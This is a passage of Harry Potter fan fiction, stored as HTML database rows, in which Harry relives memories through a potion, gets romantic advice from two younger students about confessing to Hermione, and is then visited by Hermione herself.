Harry took the small goblet, lifted it to his mouth, and chugged the potion in one gulp. He felt the substance trickle down his throat and filled his body with a warm tingling sensation; unexpectedly, it tasted a lot like pumpkin juice.</p>\n\n<p>&#8220;How&#8230; is it?&#8221; asked Hedwig tentatively, worried that he had just taken some sort of poison. She watched him sway in his spot and blink a few times, as if he was trying to clear his sight.</p>\n\n<p>&#8220;I need to sit&#8230;&#8221; said Harry drowsily, and he did. He fell into a slouch right into the chair behind his desk, his arms dangling over the armrests. His vision was blurred, though he had his glasses on, and everything seemed to be spinning. His head bobbed on his neck that sent Hedwig into a fit.</p>\n\n<p>&#8220;Harry!&#8221; she screeched, looking terrified, flying and landing on his lap, his glasses sliding crookedly halfway down his nose. He looked like he had just got off a very dizzying ride. She put two wings on the side of his shoulders even if Harry didn&#8217;t seem to notice. &#8220;Harry! What&#8217;s the matter!&#8221;</p>\n\n<p>Harry blinked. His breathing was very slow, labored, and deep and he could make the outline of Hedwig&#8217;s white body on his lap. He felt so weak and tired, like if he didn&#8217;t close his eyes he would die, but he fought to keep them open as well. It felt like a dementor was sucking the energy from his body&#8230;</p>\n\n<p>He could fight it no more as his eyes felt like there were weights on them; all he remembered was Hedwig&#8217;s outline on his lap slowly&#8230; slowly&#8230; getting blacker&#8230; and blacker&#8230;</p></font>\n\n '),
	(169, 24, ' <b><font size="2"><p>Chapter 24 - Another Meeting</p>\n\n</font></b><font size="2">\n\n<i></i><p><i>Where</i>\n\n<i>am I?, </i>thought Harry as the blackness that engulfed his vision slowly blurred into focus.</p>\n\n<p>Harry found himself in his room dressed in green dress robes, standing and staring at himself through a mirror with Hedwig on his shoulder.</p>\n\n<p>&#8220;You&#8217;re shaking,&#8221; she apprehensively, on top of his shoulder. &#8220;I can see you shivering from the desk and I can definitely feel you shaking too. What are you so nervous about?&#8221;</p>\n\n<i></i><p><i>Why am I shaking anyway?, </i>thought Harry. A strange feeling coursed thorough his body; he could feel every bit of himself shaking with fear, and yes he did feel&#8230; <i>fearful.</i> Though at the same time he felt as normal and calm as he would feel in a slumber. <i>I don&#8217;t feel nervous about anything!</i></p><i>\n\n</i>\n\n<p>&#8220;I really don&#8217;t feel like going anymore,&#8221; Harry heard come out of his mouth. &#8220;I don&#8217;t want spare the embarrassment&#8230;&#8221;</p>\n\n<i></i><p><i>What&#8217;s going on?, </i>thought Harry. <i>I didn&#8217;t say those words! I heard them! Those words were directed to Hedwig and I saw my mouth move in the mirror! But I didn&#8217;t </i>say <i>anything!</i></p><i>\n\n</i>\n\n<p>&#8220;You didn&#8217;t go to the last one Harry,&#8221; said Hedwig patiently. He could feel her claws digging into his shoulders slightly to balance herself on his shaking shoulder, but noticed that nothing was perched on his shoulder in the first place. &#8220;Just go and have a good time.&#8221;</p>\n\n<i></i><p><i>Last </i>what<i>?, </i>thought Harry irritably. <i>I didn&#8217;t go to the last, WHAT!?</i></p><i>\n\n</i><p>Then suddenly it hit him. </p>\n\n<p>What was happening right now wasn&#8217;t in real time. He wasn&#8217;t standing there in front of his mirror (though he could definitely make out the scar on his head) with Hedwig on his shoulder. None of this was happening right now because he was under the effects of the potion he had made. Everything he saw and heard right now, happened a bare few hours ago. He was seeing his memory and not only that, he could feel exactly how he was feeling at that moment in time, particularly nervous in this case because of the Valentines Day Ball.</p>\n\n<i></i><p><i>I didn&#8217;t think the potion made you feel emotions too, but hey the potion worked!, </i>thought Harry excitedly. <i>I actually brewed the potion correctly!</i></p><i>\n\n</i><p>&#8220;How can I have a good time?&#8221; Harry heard himself say hysterically. &#8220;I look terrible, Hermione doesn&#8217;t know I love her, and I don&#8217;t even have a date!&#8221;</p>\n\n<p>&#8220;You look handsome,&#8221; complimented Hedwig, &#8220;and you aren&#8217;t the only one going without a date. I&#8217;m sure of it.&#8221;</p>\n\n<i>\n\n</i><p>Harry grinned at how stupid he looked through the mirror looking helpless and pathetic.</p>\n\n<i></i><p><i>I was like that a few hours ago?, </i>he though incredulously.</p>\n\n<p>It felt like something he would experience in a Pensieve, only this time, it was as though he was an invisible little man peering through the eyes of another and feeling exactly how he felt, along with whatever the person he was looking through the eyes of felt too.</p>\n\n<p>Harry found himself walking nervously down to the Great Hall entrance&#8230;</p>\n\n<p>Meeting with Ron, Rachel, Hermione, and Ernie&#8230;</p>\n\n<p>Sitting in the Great Hall at their table&#8230;</p>\n\n<p>Listening to the music play&#8230;</p>\n\n<p>Images of he and Hermione running through his head&#8230;</p>\n\n<p>Looking round the Hall and noticing that everyone was dancing but him&#8230;</p>\n\n<p>Sneaking out of the Great Hall&#8230;</p>\n\n<p>Up in his room&#8230;</p>\n\n<p>Brewing a potion&#8230;</p>\n\n<p>Taking a sip of a liquid in a goblet&#8230;</p>\n\n<p>Suddenly everything blurred and became marvelously white and clear as if he was looking at a wall in a room completely painted in white, then a blurred image of a marvelously white owl on his lap. He was waking up&#8230;</p>\n\n<p>&#8220;Harry!&#8221; shrieked Hedwig, now hitting him in the face with her wings frantically. She looked on the verge of tears. &#8220;Harry wake up!&#8221;</p>\n\n<p>&#8220;Hedwig&#8230;&#8221; yawned Harry, stirring in his seat and sitting up slightly from his crouch. His head was spinning; it felt like someone had just hit him hard on the head.</p>\n\n<p>&#8220;Oh!&#8221; sobbed Hedwig, burying her face in his chest, and giving him (if owls could do such a thing) a hug. &#8220;Harry&#8230; you idiot&#8230;!&#8221;</p>\n\n<p>&#8220;What?&#8221; said Harry uncertainly, pushing up his glasses on the bridge of his nose and putting a hand on Hedwig&#8217;s feathered back. He was looking down at her wide eyed in worry.</p>\n\n<p>&#8220;I thought&#8230;&#8221; sobbed Hedwig in Harry&#8217;s chest, breaking down, &#8220;I thought&#8230; <i>you had</i>&#8230;&#8221;</p>\n\n<p>&#8220;Oh, Hedwig!&#8221; said Harry consolingly, putting a little more pressure on Hedwig&#8217;s back with his hand, trying to hug her. &#8220;I&#8217;m all right&#8230; I&#8217;m fine Hedwig&#8230; it works&#8230;&#8221;</p>\n\n<p>&#8220;Oh Harry, what do you think of me now&#8230; so silly&#8230; crying over nothing&#8230;&#8221; muttered Hedwig.</p>\n\n<p>&#8220;It&#8217;s ok Hedwig,&#8221; comforted Harry, looking at her.</p>\n\n<p>Hedwig seemed to come out of her reverie as Harry&#8217;s words clicked into place. &#8220;It - what does&#8230;? What works&#8230;?&#8221; she sniffed, looking up at him now. </p>\n\n<p>Harry smiled. No girl in their right mind would think that an owl crying didn&#8217;t look so cute&#8230;</p>\n\n<p>&#8220;The potion,&#8221; hinted Harry. &#8220;It works&#8230;&#8221;</p>\n\n<p>&#8220;It&#8230; it does?&#8221; said Hedwig. She was still trembling slightly.</p>\n\n<p>&#8220;Yes!&#8221; said Harry, almost in a jubilant way. The spinning in his head was subsiding. &#8220;I saw everything! From when I was getting ready for the Ball to when I chugged down the potion - I saw it all. You know,&#8221; he added to Hedwig, frowning slightly as in deep in thought, &#8220;it made me feel everything to&#8230;&#8221;</p>\n\n<p>&#8220;Feel everything&#8230;?&#8221;</p>\n\n<p>&#8220;Every emotion I felt at that time I felt again,&#8221; explained Harry. &#8220;But it&#8217;s complicated. I felt the emotion I went through at the time, but I felt calm and relaxed, like how you&#8217;d feel if you were sleeping, at the same time.&#8221;</p>\n\n<p>&#8220;Strange&#8230;&#8221;</p>\n\n<p>Harry rubbed his chin. </p>\n\n<p>&#8220;Yes it is&#8230; and you know how I kind of blacked out?&#8221;</p>\n\n<p>&#8220;What about it?&#8221; sniffled Hedwig, clearly not wanting to remember at all.</p>\n\n<p>&#8220;The potion wasn&#8217;t supposed make me drowsy or put me to sleep either,&#8221; said Harry darkly. &#8220;Or was it? But anyway I&#8230;&#8221;</p>\n\n<p>Unexpectedly, there was a knocking at his door; Harry had forgotten that he was safe and sound (no doubt in REAL time) in his room.</p>\n\n<p>&#8220;Who could <i>that</i> be?&#8221; inquired Hedwig, her eyes still watery and flying weakly to the top of the wardrobe.</p>\n\n<p>Harry shrugged, staring at his door. &#8220;Come in.&#8221;</p>\n\n<p>The door opened with a tiny squeak and Harry saw for a flashing moment a glimpse at the material of a dark black dress robe, followed by another fabric of dark reddish maroon. It was&#8230;</p>\n\n<p>&#8220;Dan!&#8221; smiled Harry, looking at him as if he had not seen a friend in years. &#8220;How are you!?&#8221;</p>\n\n<p>&#8220;I&#8217;m great Harry!&#8221; beamed Dan. &#8220;I&#8217;m great!&#8221;</p>\n\n<p>But Dan wasn&#8217;t alone; he walked inside, hand - in - hand, with a girl that had brownish - blond hair that Harry had caught glimpses of in corridors, but never really met or gotten a good look at; she was very pretty. She looked particularly nervous when she stepped in with him. They both were dressed in elegant dress robes; perfect for a Valentines Day Ball.</p>\n\n<p>&#8220;Valentines Ball over?&#8221; asked Harry, trying to make conversation. </p>\n\n<p>&#8220;Not yet,&#8221; said Dan thoughtfully, who probably couldn&#8217;t tell that he still had a goofy grin on his face. He and the girl stood before Harry&#8217;s desk and the girl couldn&#8217;t help but glance curiously at the small cauldron on his desk with the goblet. &#8220;There was a session where <i>Wizandwitch </i>kept playing songs and nobody sat down. I don&#8217;t even think the sessions done yet&#8230;&#8221;</p>\n\n<p>&#8220;So what brings you here?&#8221; asked Harry, hearing faint music coming from the Great Hall, which made his stomach churn. &#8220;I&#8217;m sure my room isn&#8217;t the most romantic spot to be saying good-night.&#8221; </p>\n\n<p>&#8220;Oh&#8230;! Harry -,&#8221; began Dan, as if he had made a mistake and was now back tracking on it, &#8220;this is Emma. Emma,&#8221; He motioned his hand toward her slightly, his face shinning. &#8220;Emma, this is Harry. Harry Potter.&#8221; He motioned back toward him.</p>\n\n<p>&#8220;Nice to meet you, Emma,&#8221; smiled Harry, standing up behind his desk and shook her hand.</p>\n\n<p>&#8220;Nice to meet you too Mr. Potter,&#8221; smiled Emma timidly, looking very nervous on the matter, like she had just shaken hands with the Prime Minister.</p>\n\n<p>&#8220;Call me Harry,&#8221; said Harry, sitting back down and grinning as the memory of Dan saying the same thing racked his brain. &#8220;So, what brings you two here? Shouldn&#8216;t you be having fun at the Ball?&#8221;</p>\n\n<p>&#8220;Nothing actually,&#8221; said Dan shortly. &#8220;I just came to&#8230; well - thank you&#8230;&#8221;</p>\n\n<p>&#8220;Thank me?&#8221; asked Harry incredulously, his brain racking when he possibly helped Dan for something in the past. &#8220;What for?&#8221; </p>\n\n<p>There was a pause in which Harry saw Dan open his mouth as if ready to say something, but was thrown off when he heard Emma&#8217;s voice instead.</p>\n\n<p>&#8220;If it hadn&#8217;t been for you Mr. Pott - I mean - Harry,&#8221; she smiled desperately, &#8220;and your advice you gave him, then Daniel wouldn&#8217;t have come up with the courage to come to me and tell me how he felt about me.&#8221;</p>\n\n<p>Harry blinked. &#8220;<i>Me?&#8221; </i>he said darkly. &#8220;I assure you that I have <i>nothing </i>to do with Dan talking to you, but still&#8230; Emma, when <i>did </i>Dan talk to you -?&#8221;</p>\n\n<p>&#8220;One day after I came in to talk to you,&#8221; interrupted Dan. &#8220;You remember don&#8217;t you? When I asked you for advice?&#8221; He still had that particular grin on his face and couldn&#8217;t stop smiling. Emma adjusted herself to stand closer to Dan and beamed at him.</p>\n\n<p>&#8220;Course I do,&#8221; said Harry politely.</p>\n\n<p>&#8220;I was so afraid,&#8221; continued Dan, &#8220;so afraid of rejection. Emma looked so taken aback and shocked when I told her how I felt.&#8221;</p>\n\n<p>&#8220;I was so scared though Harry,&#8221; cued Emma. &#8220;I <i>never once</i> did think Daniel as more than a friend to me. I panicked, knowing these startling feelings he had for me and I had to take some time off and let whatever was said that night to sink in.&#8221;</p>\n\n<p>&#8220;Was it emotional?&#8221; asked Harry softly, looking between the pair.</p>\n\n<p>&#8220;You wouldn&#8217;t imagine,&#8221; said Dan , raising his eyebrows, and looking partly disgusted with himself. &#8220;I felt like one of those guys in those pathetic Muggle movies.&#8221;</p>\n\n<p>&#8220;I ignored him for days,&#8221; said Emma quietly, in a way that said she regretted it.</p>\n\n<p>&#8220;I thought I had lost a friend -&#8221; sighed Dan pathetically.</p>\n\n<p>&#8220;Then what?&#8221; asked Harry, completely transfixed at the story.</p>\n\n<p>&#8220;I approached Dan one day after thinking,&#8221; said Emma emotionally. &#8220;And I told him that&#8230;&#8221;</p>\n\n<p>Her voice trailed of dreamily like smoke dissipating in the air. Harry could have sworn he saw Dan blush.</p>\n\n<p>&#8220;The weeks when I was avoiding him,&#8221; added Emma thoughtfully, &#8220;I thought about how much it was a bad idea and how a thing like that between us would never happen. I woke up one morning and the entire day, all I could think about was how much I hated avoiding him and how much I missed him. I remembered the fun Dan and I had from when we were little, how<i>\n\n</i>close our relationship toward each other grew over the years, and how&#8230; how it&#8217;d feel so good if I ever kissed him&#8230;&#8221;</p>\n\n<p>Harry&#8217;s mouth twitched. &#8220;That thought caught you off guard didn&#8217;t it?&#8221;</p>\n\n<p>Emma nodded.</p>\n\n<p>&#8220;I tried to tell Dan one day but he didn&#8217;t want to talk to me,&#8221; she said sadly.</p>\n\n<p>&#8220;I was mad at you!&#8221; explained Dan to Emma.</p>\n\n<p>&#8220;I knew you were!&#8221; said Emma, turning to him, and looking frightened. &#8220;And after countless tries, I finally got him to talk to me,&#8221; she said turning back at Harry.</p>\n\n<p>&#8220;It <i>was</i> pretty emotional,&#8221; cut in Dan thoughtfully.</p>\n\n<p>&#8220;I explained to him that I was feeling a bit uncomfortable given the state of things and that I couldn&#8217;t fall in love with him,&#8221; said Emma slowly.</p>\n\n<p>&#8220;And?&#8221; said Harry, not sure where this was going.</p>\n\n<p>&#8220;But I told him that there was&#8230; there was a problem,&#8221; continued Emma nervously. &#8220;I told him&#8230; I told him that&#8230; I couldn&#8217;t fall in love with him&#8230; because, well&#8230; I was&#8230; I was <i>already</i> in love with him. I was already in love with him from the start&#8230;&#8221; she admitted, turning rather red. &#8220;I was in love with my best friend when I didn&#8217;t recognize it myself&#8230;&#8221;</p>\n\n<p>&#8220;And the rest is history,&#8221; concluded Dan, a smile still plastered on his face. Emma snuggled closer to his arm.</p>\n\n<p>&#8220;Well congratulations to you both,&#8221; said Harry, perhaps a little more unenthusiastically than he meant to. Thankfully, Dan and Emma didn&#8217;t notice.</p>\n\n<p>Harry thought about what had happened between the pair of them. Dan, simply because he had taken advice from Harry, went up to Emma and poured out his feelings to her only to find, in an unorthodox way, that she loved him too. Harry wondered what would happen if he went up to Hermione and just flat out told her that he loved her. Would she, like Emma did for Dan, secretly love him back too?</p>\n\n<p>Harry hopes dipped; he had remembered all the hints of love he had given Hermione and also her very unresponsive ways.</p>\n\n<p>&#8220;I&#8217;m sorry about Hermione Granger, Harry,&#8221; said Dan consolingly out of nowhere, making Harry come out of his reverie.</p>\n\n<p>&#8220;Huh -?&#8221;</p>\n\n<p>&#8220;Yes I saw,&#8221; added Emma, though her voice was maddening. &#8220;I saw that bloke accompanying her to the Ball.&#8221;</p>\n\n<p>&#8220;Oh&#8230; that,&#8221; said Harry, avoiding eyes.</p>\n\n<p>&#8220;What&#8217;s going on between you and Hermione Granger anyway?&#8221; asked Dan curiously. &#8220;I thought you liked her&#8230;&#8221;</p>\n\n<p>&#8220;I do,&#8221; assured Harry.</p>\n\n<p>He went on to explain how he was sleeping almost unconsciously in his bed due to a lot of sleepless nights and how he had just found out about the Valentines Day Ball and how it was too late because Ernie had already asked her.</p>\n\n<p>&#8220;Oh, you poor thing!&#8221; said Emma consolingly.</p>\n\n<p>&#8220;Don&#8217;t&#8230;&#8221; said Harry closing his eyes and putting up a hand, not wanting to hear any more of those pitying words.</p>\n\n<p>&#8220;Why don&#8217;t you just tell her you like her already!&#8221; said Dan impatiently.</p>\n\n<p>&#8220;I give up already,&#8221; said Harry, more to himself than anything.</p>\n\n<p>&#8220;What do you mean you give up!?&#8221; said Dan, a little bolder than intended. &#8220;How can you give up on someone that you love?&#8221;</p>\n\n<p>&#8220;You don&#8217;t understand the whole story,&#8221; said Harry unperturbed. &#8220;It&#8217;s a very long story.&#8221;</p>\n\n<p>&#8220;Well, we aren&#8217;t in a rush to be anywhere, do we Emma?&#8221; said Dan to her.</p>\n\n<p>&#8220;No we don&#8217;t,&#8221; said Emma in a final way, she too eager to hear this long story.</p>\n\n<p>Harry gave a heaving sigh and told them what had started about two years, when he first started to love Hermione. How he was too afraid to tell Hermione about the way he felt and instead decided to give her hints of love to show that he loved her. How he thought Hermione, being the clever witch that she was, would be able to figure out that Harry loved her, yet how Hermione was very unresponsive in the matter. He explained everything he had ever did to show Hermione that he loved her, from the books, to the gifts, to the dates, to the kindness of words, and maybe a little flirtatious slurs here and there. He particularly left out the part where he bartered his Firebolt so that he could get Hermione a dress.</p>\n\n<p>&#8220;Oh, you poor thing!&#8221; said Emma again after Harry felt he had said everything he needed to say to make them understand.</p>\n\n<p>&#8220;Emma <i>please</i>,&#8221; begged Harry in a distressing voice. &#8220;<i>Don&#8217;t</i> pity me like that.&#8221;</p>\n\n<p>&#8220;Well that&#8217;s kind of dumb,&#8221; said Dan matter-of-factly.</p>\n\n<p>Harry glowered at him. &#8220;Why is it dumb!?&#8221;</p>\n\n<p>&#8220;Well all the time you used to just hint to Hermione Granger that you loved her is now lost,&#8221; said Dan simply. &#8220;Couldn&#8217;t you just use that very same energy to just <i>talk </i>to her for just a few moments?&#8221; </p>\n\n<p>Harry felt very sheepish and stupid at Dan&#8217;s words. He was right; what if he just channeled all that energy he used to hint to Hermione instead to just walking up to her and telling her he loved her&#8230;</p>\n\n<p>&#8220;Love makes me do stupid things,&#8221; stated Harry, looking down at the desk top.</p>\n\n<p>&#8220;So <i>why </i>don&#8217;t you just tell her that you like her already!&#8221; said Dan, his voice not angry, but now in a patient sort of way. &#8220;She&#8217;s too dumb to notice the little subtle things and all of your hints, so why don&#8217;t you make it more clear to her than ever, by just <i>telling her </i>you love her?&#8221;</p>\n\n<p>&#8220;I can&#8217;t!&#8221; said Harry pitifully. &#8220;I too afrai -&#8221;</p>\n\n<p>His words were stuck in his throat. He was about to say that he was afraid, but if he did, what would that look like to Dan and Emma.</p>\n\n<p>&#8220;Look Emma,&#8221; said Dan to her. &#8220;Harry&#8217;s <i>afraid</i>.&#8221;</p>\n\n<p>&#8220;I&#8217;m not afraid!&#8221; said Harry defensively, though he knew he was lying. Dan sighed.</p>\n\n<p>&#8220;There Harry,&#8221; he said in a patient voice as if he had just proven a point. &#8220;You said it yourself - you&#8217;re not afraid - so then now go tell Hermione Granger that you like her&#8230;&#8221;</p>\n\n<p>&#8220;Daniel did it!&#8221; said Emma, as if that it settled the matter. &#8220;If he did it, I&#8217;m sure you can too!&#8221;</p>\n\n<p>Dan nodded feverishly by her side.</p>\n\n<p>&#8220;He got the strength to go for it, even though he was risking something,&#8221; advised Emma, &#8220;through encouraging words he got through <i>you,</i> Harry!&#8221;</p>\n\n<p>He looked back and forth between Dan and Emma, his heart full of admiration for the couple. Even though they were mere fourth years, their heart and spirit were of those of very mature young adults.</p>\n\n<p>&#8220;I thought <i>I </i>was supposed to give fellow students advice,&#8221; said Harry almost in a chuckle.</p>\n\n<p>&#8220;And now the fellow students are giving words of advice to our Head Boy,&#8221; said Emma consolingly.</p>\n\n<p>There was a long pause in which Emma broke by saying, &#8220;Dan and I are not <i>demanding </i>that you go tell Hermione Granger that you love her, we just think that you <i>should </i>already.&#8221;</p>\n\n<p>&#8220;I understand&#8230;&#8221; said Harry staring blankly at a spot at the bottom right of his desk.</p>\n\n<p>&#8220;Just think about it?&#8221; Emma suggested. &#8220;<i>Please? </i>I&#8217;m sure Hermione Granger is a <i>great</i> person!&#8221;</p>\n\n<p>&#8220;You remind me of Hermione,&#8221; said Harry thoughtfully to Emma. &#8220;you two are so much alike&#8230;&#8221;</p>\n\n<p>&#8220;Then if they&#8217;re so much alike, and you see how happy I am now that I&#8216;m with Emma,&#8221; said Dan, &#8220;then just imagine how happy you&#8217;ll be when you&#8217;re with Hermione Granger.&#8221;</p>\n\n<p>&#8220;I still don&#8217;t know if I want to tell her,&#8221; suggested Harry skeptically. &#8220;I mean, if she hasn&#8217;t been responsive like how I expected her to be, then maybe there&#8217;s a reason&#8230;&#8221;</p>\n\n<p>&#8220;What do you mean?&#8221; asked Emma.</p>\n\n<p>&#8220;I mean that maybe she <i>does</i> know the hints of love I gave her, maybe she <i>does </i>know that I like her, maybe she <i>has </i>figured it out,&#8221; said Harry.</p>\n\n<p>&#8220;What are you saying then?&#8221; inquired Dan.</p>\n\n<p>&#8220;That&#8230;&#8221; started Harry miserably, &#8220;That&#8230; she hasn&#8217;t been responsive because&#8230; well&#8230; maybe because she doesn&#8217;t feel the same way as I do&#8230;&#8221;</p>\n\n<p>&#8220;You don&#8217;t know that for sure!&#8221; exclaimed Emma quickly. </p>\n\n<p>&#8220;But it seems <i>logical,</i>&#8221; said Harry carefully. He swallowed a handful of tears; there was no way he was going to cry. </p>\n\n<p>&#8220;It might seem that way,&#8221; said Emma comfortingly. &#8220;But there isn&#8217;t any proof of it&#8230;&#8221;</p>\n\n<p>&#8220;God, I miss her so much!&#8221; Harry added dreadfully, slamming his forehead and two fists down on the table. He could feel water building up in his eyes and his speech was muffled. &#8220;I can&#8217;t take it sometimes! I&#8217;ve been sulking so much lately, that I&#8217;ve almost forgotten&#8230; almost forgotten how happy I felt whenever I made her happy! Just making Hermione happy was rewarding in itself! I miss those days&#8230; I miss them&#8230;&#8221;</p>\n\n<p>There was a long pause in which Harry either was eye to eye with the surface of his desk or the back of his eyelids. After a few silencing moments, Dan spoke.</p>\n\n<p>&#8220;Is that why you made this potion Harry?&#8221; asked Dan softly and tentatively. &#8220;To remember all those times you had with Hermione Granger and making her happy?&#8221;</p>\n\n<p>Harry&#8217;s brain clicked and he felt his sobs subsiding temporarily.</p>\n\n<p>&#8220;Yes&#8230;&#8221; said Harry, still with his forehead on the table, not looking at him.</p>\n\n<p>&#8220;I&#8217;ve done this potion before,&#8221; said Dan distantly, looking at the contents inside the goblet Harry had poured the potion into. &#8220;You got it out of my book, <i>Secrets of Potions: Made Easy </i>didn&#8217;t you?&#8221;</p>\n\n<p>&#8220;Yes&#8230;&#8221; sniffled Harry, now looking up at him, first wiping his eyes and face with his hand.</p>\n\n<p>&#8220;Did you&#8230; sort of <i>faint </i>after you took it?&#8221; asked Dan tentatively.</p>\n\n<p>Harry&#8217;s eyes suddenly widened excitedly. Feeling that he was going to find out the mystery to him fainting, he nodded. &#8220;What does it mean?&#8221;</p>\n\n<p>&#8220;Did you notice or think it was strange that the Memory Potion was located in the section of love potions?&#8221;</p>\n\n<p>Harry grabbed for <i>Secrets of Potions: Made Easy </i>on his desk and quickly turned to the page where the memory potion was located. Just like Dan said, sure enough, it was located in the section of love potions, the last potion to be mentioned before another section of potions started.</p>\n\n<p>&#8220;Never noticed it,&#8221; said Harry faintly, more to himself than anything. He looked to Dan for answers. &#8220;But what&#8217;s the significance of it anyway?&#8221;</p>\n\n<p>&#8220;Nothing,&#8221; replied Dan, almost a little too quickly. Emma shifted next to him. &#8220;I just wondered if you noticed that&#8217;s all&#8230;&#8221;</p>\n\n<p>&#8220;There&#8217;s something going on!&#8221; exclaimed Harry, closing <i>Secrets of Potions: Made Easy.</i> &#8220;You said you&#8217;ve done it before! </p>\n\n<p>&#8220;I have done it before,&#8221; assured Dan. He glanced over to Emma and both of them stared at each other for a second, as if having a silent conversation and coming to a mutual understanding about what was going on. Emma, nodded ever so slightly and made a motion as if she were clearing her throat casually.</p>\n\n<p>&#8220;And did you <i>faint </i>too?&#8221; Harry asked Dan, feeling left out and his blood pumping in his veins.</p>\n\n<p>&#8220;I <i>did</i> faint,&#8221; replied Dan, staring to become aware at how big, older, and possibly much stronger Harry was than he.</p>\n\n<p>&#8220;So what does it <i>mean</i>!?&#8221; bellowed Harry, standing up and throwing his arms up in the air impatiently. &#8220;The potion is located in a section <i>strictly</i> made of love potions! You said <i>you&#8217;ve </i>done it before, and you said that you <i>fainted</i> too! <i>What does it all mean</i>!?&#8221;</p>\n\n<p>Emma finally spoke, taking a step toward the desk and putting a hand on Harry&#8217;s shoulder.</p>\n\n<p>&#8220;Harry, please,&#8221; she said consolingly, her voice passive and calm. &#8220;Just please, calm down.&#8221;</p>\n\n<p>&#8220;I am calm!&#8221; retorted Harry. &#8220;I&#8217;ve never been more calm in my life!&#8221;</p>\n\n<p>&#8220;Please try to talk to Hermione Granger and tell her that you love her,&#8221; she suggested, as if Harry had not shouted at her. &#8220;Daniel and I are not <i>telling </i>you to talk to her, we&#8217;re just <i>asking </i>you to.&#8221;</p>\n\n<p>&#8220;You still didn&#8217;t answer my question!&#8221; roared Harry. &#8220;<i>What the heck is going on with that potion</i>!?&#8221; It felt quite eccentric to be yelling at two third years, whom Harry hardly knew, and whom seemed to be more knowledgeable than he did.</p>\n\n<p>&#8220;We would tell you Harry,&#8221; said Emma calmly. &#8220;But now wouldn&#8217;t be the right time to. Things need to - er - fall into place&#8230;&#8221;</p>\n\n<p>&#8220;<i>Fall into place?&#8221; </i>said Harry frowning and becoming more confused than ever. &#8220;I suppose you aren&#8217;t going to tell me what <i>that </i>means either!?&#8221;</p>\n\n<p>&#8220;Just talk to Hermione Granger, Harry,&#8221; said Dan, ignoring Harry, his voice calm and patient much like Emma&#8217;s, however there was a tinge of uneasiness in there too. &#8220;Go up to her and tell her you love her&#8230;&#8221;</p>\n\n<p>Harry wasn&#8217;t going to waste another breath on the both of them. He was breathing hard, his chest heaving and his anger boiling up in his gut. It was useless; they were not going to tell him anything.</p>\n\n<p>&#8220;Thanks Harry,&#8221; said Dan finally. &#8220;Thanks for the advice. Because of you, I&#8217;m really happy now.&#8221;</p>\n\n<p>&#8220;Yes Harry,&#8221; agreed Emma soothingly, clinging to Dan. &#8220;And if you take <i>our </i>advice and go and talk to our Head Girl, you might be as happy too&#8230;&#8221;</p>\n\n<p>Dan and Emma made way for the door and left without another word, leaving Harry still standing at his desk, still raging, fuming, and confused.</p></font>\n\n '),
	(169, 25, ' <b><p>Chapter 25 - At Last</p>\n\n</b><font size="2">\n\n<p>Hedwig softly touched down in Harry&#8217;s desk as soon as Dan and Emma closed the door behind them with a click. She was staring at the door, as if it were to say something, and sighed. She had hung on to every word that was spoken in the room, thinking about how frustrated and confused Harry must feel about everything that was said, and like him, she was just as confused. Hedwig turned to Harry to say some words of comfort, thinking she would find him helpless and perturbed. Instead, she was astonished to see Harry&#8217;s expression.</p>\n\n<p>He was looking blankly at a spot in the upper right corner of his desk, his brow furrowed, and his lips pursed, evidently thinking about something.</p>\n\n<p>&#8220;Thinking about that potion?&#8221; guessed Hedwig.</p>\n\n<p>&#8220;Huh?&#8221; said Harry blankly, like he had just noticed Hedwig was there. &#8220;Yes - actually I am&#8230;&#8221;</p>\n\n<p>He scratched the back of his head furiously like he always did when something irritating bothered him.</p>\n\n<p>&#8220;I don&#8217;t get it,&#8221; said Harry irritably. &#8220;There&#8217;s something bizarre about that potion and Dan and Emma aren&#8217;t telling me why.&#8221;</p>\n\n<p>&#8220;And all they said was to just talk to Hermione and tell her you love her,&#8221; Hedwig finished for him.</p>\n\n<p>&#8220;And that doesn&#8217;t help me at all,&#8221; growled Harry impatiently.</p>\n\n<p>&#8220;Well maybe there&#8217;s a reason,&#8221; suggested Hedwig calmly, &#8220;that they&#8217;re not saying anything.&#8221;</p>\n\n<p>&#8220;And what would that reason be?&#8221; said Harry, glaring at Hedwig.</p>\n\n<p>&#8220;I&#8217;m just suggesting things Harry!&#8221; she said, looking alarmed. &#8220;I don&#8217;t know anything more than you do.&#8221;</p>\n\n<p>&#8220;This sucks!&#8221; said Harry angrily, throwing his hands in the air, and slumping into his chair. &#8220;I was the only one without a date for the Ball, they play songs that put images in my head, and I didn&#8217;t even get a dance with Hermione!&#8221; </p>\n\n<p>Harry got up just as quickly as he sat down, pacing back and forth behind his desk for several moments, racking his brain with theories about the mysterious mystery of the Memory Potion, suggesting to Hedwig that it could be possibly dangerous. Hedwig watched him intently, still trying to sooth him with words and saying that it must not be dangerous otherwise Dan would have told him straight away.</p>\n\n<p>&#8220;I still don&#8217;t get what the heck is going on!&#8221; shouted Harry defiantly, clutching his hands into fists. &#8220;This is so stupid! Stupid, stupid, stup - WHO IS IT NOW!&#8221;</p>\n\n<p>There was a knock on his door. Hedwig flew back to the top of the wardrobe, awaiting another possible conversation between humans.</p>\n\n<p>&#8220;Come in!&#8221; bellowed Harry in an impolite and impatient way. </p>\n\n<p>&#8220;Harry?&#8221; said a soft familiar voice as the door squeaked open. </p>\n\n<p>&#8220;Oh! Hi Hermione,&#8221; said Harry, gathering himself and looking at her. His voice had a formality to it, more mature. She was still dressed in her very light pink dress robes and her cheeks flushed in a way one might look had they been running.</p>\n\n<p>&#8220;I heard you shouting,&#8221; said Hermione apprehensively, staring back at Harry. Her eyes searched the room as if to find who he was shouting at. &#8220;Are you all right?&#8221;</p>\n\n<p>&#8220;Fine,&#8221; said Harry, sitting in the chair behind his desk, though Hermione didn&#8217;t look quite convinced.</p>\n\n<p>&#8220;What happened to you?&#8221; she asked Harry, eyeing him in his casual outfit of pajama bottoms and a t-shirt. &#8220;Ernie and I just sat down from dancing and you weren&#8217;t sitting at our table - I thought you had just stepped out for a moment but you never returned! - I became worried about you and hurried up to your room&#8230;&#8221;</p>\n\n<p>&#8220;How&#8217;d you know I was up in my room?&#8221; interrupted Harry, smiling slightly.</p>\n\n<p>&#8220;I didn&#8217;t,&#8221; said Hermione timidly. &#8220;I guessed.&#8221;</p>\n\n<p>&#8220;Not only are you brilliant witch Hermione,&#8221; said Harry complimentarily, picking up <i>Secrets of Potions: Made Easy</i>, &#8220;but you&#8217;re a great guesser too.&#8221;</p>\n\n<p>Hermione smiled nervously as she ran her fingers in the lower ends of her hair, trying not to look too pleased with herself.</p>\n\n<p>&#8220;Too bad you&#8217;re not brilliant enough to see that I&#8217;m in love with you,&#8221; said Harry in an undertone, pretending to read 